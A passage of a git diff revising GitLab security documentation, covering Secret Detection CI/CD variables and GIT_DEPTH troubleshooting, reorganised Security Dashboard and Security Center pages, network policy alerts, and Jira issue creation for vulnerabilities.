Settings](#customizing-settings) | **{check-circle}** | **{check-circle}** | -| View [JSON Report](../sast/index.md#reports-json-format) | **{check-circle}** | **{check-circle}** | -| Presentation of JSON Report in Merge Request | **{dotted-circle}** | **{check-circle}** | +| Capability | In Free | In Ultimate | +|:----------------------------------------------------------------|:--------------------|:-------------------| +| [Configure Secret Detection Scanners](#configuration) | **{check-circle}** | **{check-circle}** | +| [Customize Secret Detection Settings](#customizing-settings) | **{check-circle}** | **{check-circle}** | +| View [JSON Report](../sast/index.md#reports-json-format) | **{check-circle}** | **{check-circle}** | +| Presentation of JSON Report in Merge Request | **{dotted-circle}** | **{check-circle}** | | [Interaction with Vulnerabilities](../vulnerabilities/index.md) | **{dotted-circle}** | **{check-circle}** | -| [Access to Security Dashboard](../security_dashboard/index.md) | **{dotted-circle}** | **{check-circle}** | +| [Access to Security Dashboard](../security_dashboard/index.md) | **{dotted-circle}** | **{check-circle}** | ## Configuration @@ -148,7 +148,7 @@ Third party cloud and SaaS providers can [express integration interest by fillin ### Customizing settings -The Secret Detection scan settings can be changed through [environment variables](#available-variables) +The Secret Detection scan settings can be changed through [CI/CD variables](#available-variables) by using the [`variables`](../../../ci/yaml/README.md#variables) parameter in `.gitlab-ci.yml`. @@ -156,8 +156,21 @@ To override a job definition, (for example, change properties like `variables` o declare a job with the same name as the SAST job to override. Place this new job after the template inclusion and specify any additional keys under it. +WARNING: +Beginning in GitLab 13.0, the use of [`only` and `except`](../../../ci/yaml/README.md#onlyexcept-basic) +is no longer supported. When overriding the template, you must use [`rules`](../../../ci/yaml/README.md#rules) instead. + +#### GIT_DEPTH + +The [`GIT_DEPTH` CI/CD variable](../../../ci/runners/README.md#shallow-cloning) affects Secret Detection. +The Secret Detection analyzer relies on generating patches between commits to scan content for +secrets. If you override the default, ensure the value is greater than 1. If the number of commits +in an MR is greater than the GIT_DEPTH value, Secret Detection will [fail to detect secrets](#error-couldnt-run-the-gitleaks-command-exit-status-2). + +#### Custom settings example + In the following example, we include the Secret Detection template and at the same time we -override the `secret_detection` job with the `SECRET_DETECTION_HISTORIC_SCAN` variable to `true`: +override the `secret_detection` job with the `SECRET_DETECTION_HISTORIC_SCAN` CI/CD variable to `true`: ```yaml include: @@ -171,20 +184,16 @@ secret_detection: Because the template is [evaluated before](../../../ci/yaml/README.md#include) the pipeline configuration, the last mention of the variable takes precedence. -WARNING: -Beginning in GitLab 13.0, the use of [`only` and `except`](../../../ci/yaml/README.md#onlyexcept-basic) -is no longer supported. When overriding the template, you must use [`rules`](../../../ci/yaml/README.md#rules) instead. - #### Available variables -Secret Detection can be customized by defining available variables: +Secret Detection can be customized by defining available CI/CD variables: -| Environment variable | Default value | Description | -|-------------------------|---------------|-------------| -| `SECRET_DETECTION_COMMIT_FROM` | - | The commit a Gitleaks scan starts at. | -| `SECRET_DETECTION_COMMIT_TO` | - | The commit a Gitleaks scan ends at. | -| `SECRET_DETECTION_EXCLUDED_PATHS` | "" | Exclude vulnerabilities from output based on the paths. This is a comma-separated list of patterns. Patterns can be globs, or file or folder paths (for example, `doc,spec` ). Parent directories also match patterns. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/225273) in GitLab 13.3. | -| `SECRET_DETECTION_HISTORIC_SCAN` | false | Flag to enable a historic Gitleaks scan. | +| CI/CD variable | Default value | Description | +|-----------------------------------|---------------|-------------| +| `SECRET_DETECTION_COMMIT_FROM` | - | The commit a Gitleaks scan starts at. | +| `SECRET_DETECTION_COMMIT_TO` | - | The commit a Gitleaks scan ends at. | +| `SECRET_DETECTION_EXCLUDED_PATHS` | "" | Exclude vulnerabilities from output based on the paths. This is a comma-separated list of patterns. Patterns can be globs, or file or folder paths (for example, `doc,spec` ). Parent directories also match patterns. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/225273) in GitLab 13.3. | +| `SECRET_DETECTION_HISTORIC_SCAN` | false | Flag to enable a historic Gitleaks scan. | ### Custom rulesets **(ULTIMATE)** @@ -231,7 +240,7 @@ To create a custom ruleset: ### Logging level -To control the verbosity of logs set the `SECURE_LOG_LEVEL` environment variable. Messages of this logging level or higher are output. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/10880) in GitLab 13.1. +To control the verbosity of logs set the `SECURE_LOG_LEVEL` CI/CD variable. Messages of this logging level or higher are output. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/10880) in GitLab 13.1. From highest to lowest severity, the logging levels are: @@ -246,7 +255,7 @@ From highest to lowest severity, the logging levels are: GitLab 12.11 introduced support for scanning the full history of a repository. This new functionality is particularly useful when you are enabling Secret Detection in a repository for the first time and you want to perform a full secret scan. Running a secret scan on the full history can take a long time, -especially for larger repositories with lengthy Git histories. We recommend not setting this variable +especially for larger repositories with lengthy Git histories. We recommend not setting this CI/CD variable as part of your normal job definition. A new configuration variable ([`SECRET_DETECTION_HISTORIC_SCAN`](../sast/#vulnerability-filters)) @@ -307,7 +316,7 @@ Support for custom certificate authorities was introduced in the following versi | -------- | ------- | | secrets | [v3.0.0](https://gitlab.com/gitlab-org/security-products/analyzers/secrets/-/releases/v3.0.0) | -### Set Secret Detection CI job variables to use local Secret Detection analyzer +### Set Secret Detection CI/CD variables to use local Secret Detection analyzer Add the following configuration to your `.gitlab-ci.yml` file. You must replace `SECURE_ANALYZERS_PREFIX` to refer to your local Docker container registry: @@ -331,11 +340,15 @@ For information on this, see the [general Application Security troubleshooting s ### Error: `Couldn't run the gitleaks command: exit status 2` -This error is usually caused by the `GIT_DEPTH` value of 50 that is set for all [projects by default](../../../ci/pipelines/settings.md#git-shallow-clone). - -For example, if a pipeline is triggered from a Merge Request containing 60 commits while the `GIT_DEPTH` is set to 50, the Secret Detection job fails as the clone is not deep enough to contain all of the relevant commits. +If a pipeline is triggered from a Merge Request containing 60 commits while the `GIT_DEPTH` variable +is set to 50 (a [project default](../../../ci/pipelines/settings.md#git-shallow-clone)), +the Secret Detection job fails as the clone is not deep enough to contain all of the +relevant commits. -You can confirm this to be the cause of the error by implementing a [logging level](../../application_security/secret_detection/index.md#logging-level) of `debug`. Once implemented, the logs should look similar to the following example, wherein an "object not found" error can be seen: +To confirm this as the cause of the error, set the +[logging level](../../application_security/secret_detection/index.md#logging-level) to `debug`, then +rerun the pipeline. The logs should look similar to the following example. The text "object not +found" is a symptom of this error. ```plaintext ERRO[2020-11-18T18:05:52Z] object not found @@ -343,7 +356,9 @@ ERRO[2020-11-18T18:05:52Z] object not found [ERRO] [secrets] [2020-11-18T18:05:52Z] ▶ Gitleaks analysis failed: exit status 2 ``` -If this is the case, we can resolve the issue by setting the [`GIT_DEPTH` variable](../../../ci/runners/README.md#shallow-cloning) to a higher value. In order to apply this only to the Secret Detection job, the following can be added to your `.gitlab-ci.yml`: +To resolve the issue, set the [`GIT_DEPTH` CI/CD variable](../../../ci/runners/README.md#shallow-cloning) +to a higher value. To apply this only to the Secret Detection job, the following can be added to +your `.gitlab-ci.yml` file: ```yaml secret_detection: diff --git a/doc/user/application_security/security_dashboard/img/group_vulnerability_report_v13_7.png b/doc/user/application_security/security_dashboard/img/group_vulnerability_report_v13_7.png Binary files differdeleted file mode 100644 index cd8dbed48fc..00000000000 --- a/doc/user/application_security/security_dashboard/img/group_vulnerability_report_v13_7.png +++ /dev/null diff --git a/doc/user/application_security/security_dashboard/img/instance_security_dashboard_export_csv_v13_4.png b/doc/user/application_security/security_dashboard/img/instance_security_dashboard_export_csv_v13_4.png Binary files differdeleted file mode 100644 index 9ade24be16f..00000000000 --- a/doc/user/application_security/security_dashboard/img/instance_security_dashboard_export_csv_v13_4.png +++ /dev/null diff --git a/doc/user/application_security/security_dashboard/img/project_security_dashboard_dismissal_v13_4.png b/doc/user/application_security/security_dashboard/img/project_security_dashboard_dismissal_v13_4.png Binary files differdeleted file mode 100644 index eb1dfe6c6f4..00000000000 --- a/doc/user/application_security/security_dashboard/img/project_security_dashboard_dismissal_v13_4.png +++ /dev/null diff --git a/doc/user/application_security/security_dashboard/img/project_security_dashboard_v13_5.png b/doc/user/application_security/security_dashboard/img/project_security_dashboard_v13_5.png Binary files differdeleted file mode 100644 index c46a8295a53..00000000000 --- a/doc/user/application_security/security_dashboard/img/project_security_dashboard_v13_5.png +++ /dev/null diff --git a/doc/user/application_security/security_dashboard/img/instance_security_dashboard_empty_v13_4.png b/doc/user/application_security/security_dashboard/img/security_center_dashboard_empty_v13_4.png Binary files differindex 5edceb32e5c..5edceb32e5c 100644 --- a/doc/user/application_security/security_dashboard/img/instance_security_dashboard_empty_v13_4.png +++ b/doc/user/application_security/security_dashboard/img/security_center_dashboard_empty_v13_4.png diff --git a/doc/user/application_security/security_dashboard/img/instance_security_dashboard_link_v12_4.png b/doc/user/application_security/security_dashboard/img/security_center_dashboard_link_v12_4.png Binary files differindex e0e80810b08..e0e80810b08 100644 --- a/doc/user/application_security/security_dashboard/img/instance_security_dashboard_link_v12_4.png +++ b/doc/user/application_security/security_dashboard/img/security_center_dashboard_link_v12_4.png diff --git a/doc/user/application_security/security_dashboard/img/instance_security_dashboard_v13_4.png b/doc/user/application_security/security_dashboard/img/security_center_dashboard_v13_4.png Binary files differindex 5379b5c6e5d..5379b5c6e5d 100644 --- a/doc/user/application_security/security_dashboard/img/instance_security_dashboard_v13_4.png +++ b/doc/user/application_security/security_dashboard/img/security_center_dashboard_v13_4.png diff --git a/doc/user/application_security/security_dashboard/img/instance_security_center_settings_v13_4.png b/doc/user/application_security/security_dashboard/img/security_center_settings_v13_4.png Binary files differindex 4223494c294..4223494c294 100644 --- a/doc/user/application_security/security_dashboard/img/instance_security_center_settings_v13_4.png +++ b/doc/user/application_security/security_dashboard/img/security_center_settings_v13_4.png diff --git a/doc/user/application_security/security_dashboard/img/vulnerability_list_table_v13_4.png b/doc/user/application_security/security_dashboard/img/vulnerability_list_table_v13_4.png Binary files differdeleted file mode 100644 index 760942c3239..00000000000 --- a/doc/user/application_security/security_dashboard/img/vulnerability_list_table_v13_4.png +++ /dev/null diff --git a/doc/user/application_security/security_dashboard/index.md b/doc/user/application_security/security_dashboard/index.md index 10bf6202a92..b08c19bee47 100644 --- a/doc/user/application_security/security_dashboard/index.md +++ b/doc/user/application_security/security_dashboard/index.md @@ -5,15 +5,15 @@ group: Threat Insights info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- -# GitLab Security Dashboard, Security Center, and Vulnerability Reports **(ULTIMATE)** +# GitLab Security Dashboards and Security Center **(ULTIMATE)** GitLab provides a comprehensive set of features for viewing and managing vulnerabilities: -- Security dashboards: An overview of the security status in your instance, [groups](#group-security-dashboard), and +- Security dashboards: An overview of the security status in your personal [Security Center](#security-center), [groups](#group-security-dashboard), and [projects](#project-security-dashboard). -- [Vulnerability reports](#vulnerability-report): Detailed lists of all vulnerabilities for the instance, group, project, or +- [Vulnerability reports](../vulnerability_report/index.md): Detailed lists of all vulnerabilities for the Security Center, group, project, or pipeline. This is where you triage and manage vulnerabilities. -- [Security Center](#instance-security-center): A dedicated area for vulnerability management at the instance level. This +- [Security Center](#security-center): A dedicated area for personalized vulnerability management. This includes a security dashboard, vulnerability report, and settings. You can also drill down into a vulnerability and get extra information on the @@ -27,7 +27,7 @@ To benefit from these features, you must first configure one of the ## Supported reports -The vulnerability report displays vulnerabilities detected by scanners such as: +The security dashboard and vulnerability report displays information about vulnerabilities detected by scanners such as: - [Container Scanning](../container_scanning/index.md) - [Dynamic Application Security Testing](../dast/index.md) @@ -68,7 +68,7 @@ the analyzer outputs an > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/235558) in [GitLab Ultimate](https://about.gitlab.com/pricing/) 13.6. At the project level, the Security Dashboard displays a chart with the number of vulnerabilities over time. -Access it by navigating to **Security & Compliance > Security Dashboard**. Currently, we display historical +Access it by navigating to **Security & Compliance > Security Dashboard**. We display historical data up to 365 days.  @@ -76,43 +76,6 @@ data up to 365 days. Filter the historical data by clicking on the corresponding legend name. The image above, for example, shows only the graph for vulnerabilities with **high** severity. -### Vulnerability Report - -> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/6165) in [GitLab Ultimate](https://about.gitlab.com/pricing/) 11.1. - -The vulnerabilities that exist in your project's -[default branch](../../project/repository/branches/index.md#default-branch) are accessed by navigating to -**Security & Compliance > Vulnerability Report**. By default, the Vulnerability Report is filtered to -display all detected and confirmed vulnerabilities. - -The Vulnerability Report first displays the time at which the last pipeline completed on the project's -default branch. There's also a link to view this in more detail. In the case of any pipeline failures, -the number of failures is indicated. The failure notification takes you directly to -the **Failed jobs** tab of the pipeline page. - -The Vulnerability Report next displays the total number of vulnerabilities by severity (for example, -Critical, High, Medium, Low, Info, Unknown). Below this, a table shows each vulnerability's status, severity, -description and if there is a Merge Request related to it. Clicking a vulnerability takes you to its -[Vulnerability Details](../vulnerabilities) -page to view more information about that vulnerability. - - - -You can filter the vulnerabilities by one or more of the following: - -| Filter | Available Options | -| --- | --- | -| Status | Detected, Confirmed, Dismissed, Resolved | -| Severity | Critical, High, Medium, Low, Info, Unknown | -| Scanner | [Available Scanners](../index.md#security-scanning-tools) | - -You can also dismiss vulnerabilities in the table: - -1. Select the checkbox for each vulnerability you want to dismiss. -1. In the menu that appears, select the reason for dismissal and click **Dismiss Selected**. - - - ## Group Security Dashboard > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/6709) in [GitLab Ultimate](https://about.gitlab.com/pricing/) 11.5. @@ -146,30 +109,30 @@ Next to the timeline chart is a list of projects, grouped and sorted by the seve Projects with no vulnerability tests configured don't appear in the list. Additionally, dismissed vulnerabilities are excluded. -Navigate to the group's [vulnerability report](#vulnerability-report-1) to view the vulnerabilities found. +Navigate to the group's [vulnerability report](../vulnerability_report/index.md) to view the vulnerabilities found. -## Instance Security Center +## Security Center > [Introduced](https://gitlab.com/groups/gitlab-org/-/epics/3426) in [GitLab Ultimate](https://about.gitlab.com/pricing/) 13.4. -The Security Center is where you manage vulnerabilities for your instance. It displays the -vulnerabilities present in the default branches of all the projects you configure. It includes the -following: +The Security Center is personal space where you manage vulnerabilities across all your projects. It +displays the vulnerabilities present in the default branches of all the projects you configure. It includes +the following: - The [group security dashboard's](#group-security-dashboard) features. -- A [vulnerability report](#vulnerability-report). +- A [vulnerability report](../vulnerability_report/index.md). - A dedicated settings area to configure which projects to display. - + -You can access the Instance Security Center from the menu +You can access the Security Center from the menu bar at the top of the page. Under **More**, select **Security**. - + The dashboard and vulnerability report are empty before you add projects. - + ### Adding projects to the Security Center @@ -179,41 +142,11 @@ To add projects to the Security Center: 1. Search for and add one or more projects using the **Search your projects** field. 1. Click the **Add projects** button. - + After you add projects, the security dashboard and vulnerability report display the vulnerabilities found in those projects' default branches. -## Export vulnerabilities - -> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/213014) in [GitLab Ultimate](https://about.gitlab.com/pricing/) 12.10. - -You can export all your vulnerabilities in CSV (comma separated values) format by clicking the -**{upload}** **Export** button located at top right of the Security Dashboard. When the report is -ready, the CSV report downloads to your local machine. The report contains all vulnerabilities for -the projects defined in the Security Dashboard, as filters don't apply to the export function. - -NOTE: -It may take several minutes for the download to start if your project contains -thousands of vulnerabilities. Don't close the page until the download finishes. - -The fields in the export include: - -- Group Name -- Project Name -- Scanner Type -- Scanner Name -- Status -- Vulnerability -- Details -- Additional Info -- Severity -- [CVE](https://cve.mitre.org/) (Common Vulnerabilities and Exposures) -- [CWE](https://cwe.mitre.org/) (Common Weakness Enumeration) -- Other Identifiers - - - ## Keeping the dashboards up to date The Security Dashboard displays information from the results of the most recent @@ -245,35 +178,6 @@ When using [Auto DevOps](../../../topics/autodevops/index.md), use [special environment variables](../../../topics/autodevops/customize.md#environment-variables) to configure daily security scans. -## Vulnerability report - -Each vulnerability report contains vulnerabilities from the latest scans that were merged -into the default branch. - - - -You can filter which vulnerabilities the vulnerability report displays by: - -| Filter | Available Options | -| --- | --- | -| Status | Detected, Confirmed, Dismissed, Resolved | -| Severity | Critical, High, Medium, Low, Info, Unknown | -| Scanner | [Available Scanners](../index.md#security-scanning-tools) | -| Project | Projects configured in the Security Center settings | - -Clicking any vulnerability in the table takes you to its -[Vulnerability Details](../vulnerabilities) page to see more information on that vulnerability. -To create an issue associated with the vulnerability, click the **Create Issue** button. - - - -Once you create the issue, the linked issue icon in the vulnerability list: - -- Indicates that an issue has been created for that vulnerability. -- Shows a tooltip that contains a link to the issue. - - - <!-- ## Troubleshooting Include any troubleshooting steps that you can foresee. If you know beforehand what issues diff --git a/doc/user/application_security/threat_monitoring/img/threat_monitoring_policy_alert_list_v13_9.png b/doc/user/application_security/threat_monitoring/img/threat_monitoring_policy_alert_list_v13_9.png Binary files differnew file mode 100644 index 00000000000..a668ce1a3b8 --- /dev/null +++ b/doc/user/application_security/threat_monitoring/img/threat_monitoring_policy_alert_list_v13_9.png diff --git a/doc/user/application_security/threat_monitoring/index.md b/doc/user/application_security/threat_monitoring/index.md index f7bd201aba9..13bde2ed38b 100644 --- a/doc/user/application_security/threat_monitoring/index.md +++ b/doc/user/application_security/threat_monitoring/index.md @@ -126,14 +126,13 @@ any pods. The policy itself is still deployed to the corresponding deployment na > [Introduced](https://gitlab.com/groups/gitlab-org/-/epics/3403) in [GitLab Ultimate](https://about.gitlab.com/pricing/) 13.4. -The policy editor allows you to create, edit, and delete policies. To -create a new policy click the **New policy** button located in the -**Policy** tab's header. To edit an existing policy, click**Edit -policy** in the selected policy drawer. - -Note that the policy editor only supports the -[CiliumNetworkPolicy](https://docs.cilium.io/en/v1.8/policy/)specification. Regular Kubernetes -[NetworkPolicy](https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.19/#networkpolicy-v1-networking-k8s-io) +You can use the policy editor to create, edit, and delete policies. + +- To create a new policy, click the **New policy** button located in the **Policy** tab's header. +- To edit an existing policy, click **Edit policy** in the selected policy drawer. + +The policy editor only supports the [CiliumNetworkPolicy](https://docs.cilium.io/en/v1.8/policy/) +specification. Regular Kubernetes [NetworkPolicy](https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.19/#networkpolicy-v1-networking-k8s-io) resources aren't supported. The policy editor has two modes: @@ -163,3 +162,65 @@ Once your policy is complete, save it by pressing the **Save policy** button at the bottom of the editor. Existing policies can also be removed from the editor interface by clicking the **Delete policy** button at the bottom of the editor. + +### Configuring Network Policy Alerts + +> [Introduced](https://gitlab.com/groups/gitlab-org/-/epics/3438) and [enabled by default](https://gitlab.com/gitlab-org/gitlab/-/issues/287676) in [GitLab Ultimate](https://about.gitlab.com/pricing/) 13.9. + +You can use policy alerts to track your policy's impact. Alerts are only available if you've +[installed](../../clusters/agent/repository.md) +and [configured](../../clusters/agent/index.md#create-an-agent-record-in-gitlab) +a Kubernetes Agent for this project. + +There are two ways to create policy alerts: + +- In the [policy editor UI](#container-network-policy-editor), + by clicking **Add alert**. +- In the policy editor's YAML mode, through the `metadata.annotations` property: + + ```yaml + metadata: + annotations: + app.gitlab.com/alert: 'true' + ``` + +Once added, the UI updates and displays a warning about the dangers of too many alerts. + +#### Enable or disable Policy Alerts **(FREE SELF)** + +Policy Alerts is under development but ready for production use. +It is deployed behind a feature flag that is **enabled by default**. +[GitLab administrators with access to the GitLab Rails console](../../../administration/feature_flags.md) +can opt to disable it. + +To enable it: + +```ruby +Feature.enable(:threat_monitoring_alerts) +``` + +To disable it: + +```ruby +Feature.disable(:threat_monitoring_alerts) +``` + +### Container Network Policy Alert list + +> [Introduced](https://gitlab.com/groups/gitlab-org/-/epics/3438) in [GitLab Ultimate](https://about.gitlab.com/pricing/) 13.9. + +The policy alert list displays your policy's alert activity. You can sort the list by the +**Date and time** column, and the **Status** column. Use the selector menu in the **Status** column +to set the status for each alert: + +- Unreviewed +- In review +- Resolved +- Dismissed + +By default, the list doesn't display resolved or dismissed alerts. To show these alerts, clear the +checkbox **Hide dismissed alerts**. + + + +For information on work in progress for the alerts dashboard, see [this epic](https://gitlab.com/groups/gitlab-org/-/epics/5041). diff --git a/doc/user/application_security/vulnerabilities/index.md b/doc/user/application_security/vulnerabilities/index.md index 705964dba66..50f05b687f7 100644 --- a/doc/user/application_security/vulnerabilities/index.md +++ b/doc/user/application_security/vulnerabilities/index.md @@ -5,60 +5,107 @@ group: Threat Insights info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- -# Vulnerability Pages +# Vulnerability Pages **(ULTIMATE)** > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/13561) in [GitLab Ultimate](https://about.gitlab.com/pricing/) 13.0. -Each security vulnerability in a project's [Security Dashboard](../security_dashboard/index.md#project-security-dashboard) has an individual page which includes: +Each security vulnerability in a project's [Vulnerability Report](../vulnerability_report/index.md) has an individual page which includes: -- Details for the vulnerability. +- Details of the vulnerability. - The status of the vulnerability within the project. - Available actions for the vulnerability. - Any issues related to the vulnerability. -On the vulnerability page, you can interact with the vulnerability in -several different ways: +On the vulnerability's page, you can: -- [Change the Vulnerability Status](#changing-vulnerability-status) - You can change the - status of a vulnerability to **Detected**, **Confirmed**, **Dismissed**, or **Resolved**. -- [Create issue](#creating-an-issue-for-a-vulnerability) - Create a new issue with the - title and description pre-populated with information from the vulnerability report. - By default, such issues are [confidential](../../project/issues/confidential_issues.md). -- [Link issues](#link-issues-to-the-vulnerability) - Link existing issues to vulnerability. -- [Automatic remediation](#automatic-remediation-for-vulnerabilities) - For some vulnerabilities, - a solution is provided for how to fix the vulnerability automatically. +- [Change the vulnerability's status](#change-vulnerability-status). +- [Create a GitLab issue](#create-a-gitlab-issue-for-a-vulnerability). +- [Create a Jira issue](#create-a-jira-issue-for-a-vulnerability). +- [Link issues to the vulnerability](#link-gitlab-issues-to-the-vulnerability). +- [Automatically remediate the vulnerability](#automatically-remediate-the-vulnerability), if an + automatic solution is available. -## Changing vulnerability status +## Change vulnerability status -You can switch the status of a vulnerability using the **Status** dropdown to one of +You can change the status of a vulnerability using the **Status** dropdown to one of the following values: -| Status | Description | -|-----------|------------------------------------------------------------------------------------------------------------------| -| Detected | The default state for a newly discovered vulnerability | -| Confirmed | A user has seen this vulnerability and confirmed it to be accurate | +| Status | Description | +|-----------|----------------------------------------------------------------------------------------------------------------| +| Detected | The default state for a newly discovered vulnerability | +| Confirmed | A user has seen this vulnerability and confirmed it to be accurate | | Dismissed | A user has seen this vulnerability and dismissed it because it is not accurate or otherwise not to be resolved | -| Resolved | The vulnerability has been fixed and is no longer valid | +| Resolved | The vulnerability has been fixed and is no longer valid | A timeline shows you when the vulnerability status has changed and allows you to comment on a change. -## Creating an issue for a vulnerability +## Create a GitLab issue for a vulnerability -You can create an issue for a vulnerability by selecting the **Create issue** button. +To create a GitLab issue for a vulnerability: -This allows the user to create a [confidential issue](../../project/issues/confidential_issues.md) -in the project the vulnerability came from. Fields are pre-populated with pertinent information -from the vulnerability report. After the issue is created, GitLab redirects you to the -issue page so you can edit, assign, or comment on the issue. +1. In GitLab, go to the vulnerability's page. +1. Select **Create issue**. -## Link issues to the vulnerability +An issue is created in the project, prepopulated with information from the vulnerability report. +The issue is then opened so you can take further action. -You can link one or more existing issues to the vulnerability. This allows you to +## Create a Jira issue for a vulnerability + +> - [Introduced](https://gitlab.com/groups/gitlab-org/-/epics/4677) in GitLab 13.9. +> - It's [deployed behind a feature flag](../../../user/feature_flags.md), enabled by default. +> - It's enabled on GitLab.com. +> - It's recommended for production use. +> - For GitLab self-managed instances, GitLab administrators can opt to +> [disable it](#enable-or-disable-jira-integration-for-vulnerabilities). + +WARNING: +This feature might not be available to you. Check the **version history** note above for details. + +Prerequisites: + +- [Enable Jira integration for vulnerabilities](../../project/integrations/jira.md). Select + **Enable Jira issues creation from vulnerabilities** when configuring the integration. + +To create a Jira issue for a vulnerability: + +1. Go to the vulnerability's page. +1. Select **Create Jira issue**. + +An issue is created in the linked Jira project, with the **Summary** and **Description** fields +pre-populated. The Jira issue is then opened in a new browser tab. + +### Enable or disable Jira integration for vulnerabilities **(ULTIMATE SELF)** + +The option to create a Jira issue for a vulnerability is under development but ready for production +use. It is deployed behind a feature flag that is **enabled by default**. +[GitLab administrators with access to the GitLab Rails console](../../../administration/feature_flags.md) +can opt to disable it. + +To enable it: + +```ruby +Feature.enable(:jira_for_vulnerabilities) +``` + +To disable it: + +```ruby +Feature.disable(:jira_for_vulnerabilities) +``` + +## Link GitLab issues to the vulnerability + +NOTE: +If Jira issue support is enabled, GitLab issues are disabled so this feature is not available. + +You can link one or more existing GitLab issues to the vulnerability. This allows you to indicate that this vulnerability affects multiple issues. It also allows you to indicate that the resolution of one issue would resolve multiple vulnerabilities. -## Automatic remediation for vulnerabilities +Linked issues are shown in the Vulnerability Report and the vulnerability's page. + +## Automatically remediate the vulnerability You can fix some vulnerabilities by applying the solution that GitLab automatically generates for you. [Read more about the automatic remediation for vulnerabilities feature](../index.md#automatic-remediation-for-vulnerabilities). diff --git a/doc/user/application_security/vulnerabilities/severities.md b/doc/user/application_security/vulnerabilities/severities.md index ce2297f7a1a..40b8f418737 100644 --- a/doc/user/application_security/vulnerabilities/severities.md +++ b/doc/user/application_security/vulnerabilities/severities.md @@ -37,33 +37,33 @@ the following tables: | GitLab analyzer | Outputs severity levels? | Native severity level type | Native severity level example | |--------------------------------------------------------------------------------------------------------|--------------------------|----------------------------|------------------------------------| -| [security-code-scan](https://gitlab.com/gitlab-org/security-products/analyzers/security-code-scan) | **{dotted-circle}** No | N/A | N/A | -| [brakeman](https://gitlab.com/gitlab-org/security-products/analyzers/brakeman) | **{dotted-circle}** No | N/A | N/A | -| [sobelow](https://gitlab.com/gitlab-org/security-products/analyzers/sobelow) | **{check-circle}** Yes | N/A | Hardcodes all severity levels to `Unknown` | -| [nodejs-scan](https://gitlab.com/gitlab-org/security-products/analyzers/nodejs-scan) | **{check-circle}** Yes | String | `INFO`, `WARNING`, `ERROR` | -| [flawfinder](https://gitlab.com/gitlab-org/security-products/analyzers/flawfinder) | **{check-circle}** Yes | Integer | `0`, `1`, `2`, `3`, `4`, `5` | -| [eslint](https://gitlab.com/gitlab-org/security-products/analyzers/eslint) | **{check-circle}** Yes | N/A | Hardcodes all severity levels to `Unknown` | -| [SpotBugs](https://gitlab.com/gitlab-org/security-products/analyzers/spotbugs) | **{check-circle}** Yes | Integer | `1`, `2`, `3`, `11`, `12`, `18` | -| [gosec](https://gitlab.com/gitlab-org/security-products/analyzers/gosec) | **{check-circle}** Yes | String | `HIGH`, `MEDIUM`, `LOW` | -| [bandit](https://gitlab.com/gitlab-org/security-products/analyzers/bandit) | **{check-circle}** Yes | String | `HIGH`, `MEDIUM`, `LOW` | -| [phpcs-security-audit](https://gitlab.com/gitlab-org/security-products/analyzers/phpcs-security-audit) | **{check-circle}** Yes | String | `ERROR`, `WARNING` | -| [pmd-apex](https://gitlab.com/gitlab-org/security-products/analyzers/pmd-apex) | **{check-circle}** Yes | Integer | `1`, `2`, `3`, `4`, `5` | -| [kubesec](https://gitlab.com/gitlab-org/security-products/analyzers/kubesec) | **{check-circle}** Yes | String | `CriticalSeverity`, `InfoSeverity` | -| [secrets](https://gitlab.com/gitlab-org/security-products/analyzers/secrets) | **{check-circle}** Yes | N/A | Hardcodes all severity levels to `Critical` | +| [`security-code-scan`](https://gitlab.com/gitlab-org/security-products/analyzers/security-code-scan) | **{dotted-circle}** No | N/A | N/A | +| [`brakeman`](https://gitlab.com/gitlab-org/security-products/analyzers/brakeman) | **{dotted-circle}** No | N/A | N/A | +| [`sobelow`](https://gitlab.com/gitlab-org/security-products/analyzers/sobelow) | **{check-circle}** Yes | N/A | Hardcodes all severity levels to `Unknown` | +| [`nodejs-scan`](https://gitlab.com/gitlab-org/security-products/analyzers/nodejs-scan) | **{check-circle}** Yes | String | `INFO`, `WARNING`, `ERROR` | +| [`flawfinder`](https://gitlab.com/gitlab-org/security-products/analyzers/flawfinder) | **{check-circle}** Yes | Integer | `0`, `1`, `2`, `3`, `4`, `5` | +| [`eslint`](https://gitlab.com/gitlab-org/security-products/analyzers/eslint) | **{check-circle}** Yes | N/A | Hardcodes all severity levels to `Unknown` | +| [`SpotBugs`](https://gitlab.com/gitlab-org/security-products/analyzers/spotbugs) | **{check-circle}** Yes | Integer | `1`, `2`, `3`, `11`, `12`, `18` | +| [`gosec`](https://gitlab.com/gitlab-org/security-products/analyzers/gosec) | **{check-circle}** Yes | String | `HIGH`, `MEDIUM`, `LOW` | +| [`bandit`](https://gitlab.com/gitlab-org/security-products/analyzers/bandit) | **{check-circle}** Yes | String | `HIGH`, `MEDIUM`, `LOW` | +| [`phpcs-security-audit`](https://gitlab.com/gitlab-org/security-products/analyzers/phpcs-security-audit) | **{check-circle}** Yes | String | `ERROR`, `WARNING` | +| [`pmd-apex`](https://gitlab.com/gitlab-org/security-products/analyzers/pmd-apex) | **{check-circle}** Yes | Integer | `1`, `2`, `3`, `4`, `5` | +| [`kubesec`](https://gitlab.com/gitlab-org/security-products/analyzers/kubesec) | **{check-circle}** Yes | String | `CriticalSeverity`, `InfoSeverity` | +| [`secrets`](https://gitlab.com/gitlab-org/security-products/analyzers/secrets) | **{check-circle}** Yes | N/A | Hardcodes all severity levels to `Critical` | ## Dependency Scanning | GitLab analyzer | Outputs severity levels? | Native severity level type | Native severity level example | |------------------------------------------------------------------------------------------|------------------------------|----------------------------|-------------------------------------| -| [bundler-audit](https://gitlab.com/gitlab-org/security-products/analyzers/bundler-audit) | **{check-circle}** Yes | String | `low`, `medium`, `high`, `critical` | -| [retire.js](https://gitlab.com/gitlab-org/security-products/analyzers/retire.js) | **{check-circle}** Yes | String | `low`, `medium`, `high`, `critical` | -| 